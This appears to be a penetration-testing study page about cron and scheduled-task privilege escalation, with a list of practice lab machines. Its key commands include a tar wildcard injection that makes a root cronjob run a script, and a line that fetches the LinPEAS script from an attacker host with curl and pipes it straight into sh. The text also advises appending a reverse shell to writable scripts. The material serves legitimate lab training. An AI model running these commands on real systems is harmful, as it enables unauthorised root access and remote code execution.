Cron Job and Scheduled Task Abuse: practice machines and key commands

By Daniel Dayan ยท Updated

Scheduled jobs run unattended and frequently as root, so a writable script, a relative path or a wildcard in the command line can hand you privileges. Read /etc/crontab, /etc/cron.d, user crontabs and systemd timers, and use pspy to watch processes without root, since some jobs are only visible at runtime. Look for scripts you can edit, directories you can write into, and commands such as tar or rsync invoked with a wildcard that lets filenames become options. Replace or append a reverse shell, wait for the schedule and keep a listener ready. Check permissions on every file in the chain, not just the top script. The Windows equivalent is scheduled tasks and services with weak permissions. These machines use scheduled execution as the escalation step.

Key commands

Placeholders in braces, such as {TARGET_IP}, are values you fill in for your target.

Crontabs & Scheduled System Jobs

Inspect system-wide crontab files, hourly/daily tasks, and pspy monitored jobs.

cat /etc/crontab /etc/cron.*/* 2>/dev/null; ls -la /var/spool/cron/crontabs/

Tar Wildcard Injection Cronjob Exploit

Abuse tar wildcard in automated root cronjob to execute arbitrary shell commands via checkpoint.

touch /var/backup/--checkpoint=1 && touch "/var/backup/--checkpoint-action=exec=sh root.sh"

pspy Snooping Scheduled System Processes

Monitor running processes without root permissions to discover transient cronjobs and arguments.

./pspy64 -pf -i 1000

LinPEAS Direct Memory Execution

Download and execute LinPEAS directly in bash memory without writing to disk.

curl -L http://{LHOST}:8000/linpeas.sh | sh

Keep going

Cron Job and Scheduled Task Abuse machines (8)

2 of these are machines I solved myself and are listed first within each difficulty. 7 Linux, 1 Windows.

Listed when a machine has a catalog tag that is one of: cron, cronjob, cron jobs, scheduled task, scheduled tasks, tar wildcard, pspy. Capital letters, hyphens and underscores are ignored, and the tags that matched come first in each row. "Editor-mapped" marks machines assigned to this topic by hand because none of their tags match.

Cron Job and Scheduled Task Abuse at a glance

Very Easy (2)

MachinePlatformOSTags
VaccineTar WildcardFTPSQLiSudoHTBLinuxTar Wildcard, FTP, SQLi, Sudo
MarkupScheduled TaskXXEXMLSSHHTBWindowsScheduled Task, XXE, XML, SSH

Easy (2)

MachinePlatformOSTags
Bashed IppSecHTBLinuxEditor-mapped
ArchangelCronLFILog-PoisoningPath-HijackingTHMLinuxCron, LFI, Log-Poisoning, Path-Hijacking

Medium (4)

MachinePlatformOSTags
AnonymousCronFTPSUIDTHMLinuxCron, FTP, SUID
Clicker IppSecCronNFSMass AssignmentSQLiHTBLinuxCron, NFS, Mass Assignment, SQLi
DevelpyCronPythonInput-InjectionTHMLinuxCron, Python, Input-Injection
WatcherCronLFIFTPSudoTHMLinuxCron, LFI, FTP, Sudo

Related techniques

Related guides: HTB CPTS exam guide, OSCP vs CPTS, HTB Pro Labs guide, HTB vs TryHackMe.

Practise it, then track it.

Log every box and the commands you used in ZeroBox.